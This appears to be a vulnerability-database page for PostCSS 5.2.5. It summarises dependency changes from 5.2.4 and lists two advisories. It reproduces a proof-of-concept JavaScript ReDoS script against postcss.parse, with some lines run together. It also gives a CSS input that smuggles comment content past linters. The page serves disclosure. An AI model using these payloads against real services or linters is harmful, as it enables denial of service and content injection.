PostCSS 5.2.5 is a minor update to the popular tool for transforming styles with JavaScript plugins. Comparing it to the previous version, 5.2.4, reveals several key updates primarily focused on developer tooling and dependency management. A notable change includes an upgrade to the 'eslint' dev dependency from version 3.6.1 to 3.8.1 suggesting an improvement in code linting and consistency. Yaspeller was bumped from 2.9.1 to 3.0.0. The 'gulp-sourcemaps' dev dependency sees an update from 1.6.0 to 2.1.1, which likely offers enhanced source map generation capabilities, easing debugging for developers working with compiled CSS. Moreover, there's a change in the 'jsdoc' dependency from 3.4.1 to 3.4.2, that fixes some bugs and brings new features to the documentation generation. While core dependencies like chalk, js-base64, source-map, and supports-color remain the same, these alterations in the development environment highlight a continuous effort to refine the developer experience and enhance the reliability of the PostCSS ecosystem. The update was released on October 20, 2016, offering developers incremental improvements in their CSS transformation workflows.
All the vulnerabilities related to the version 5.2.5 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.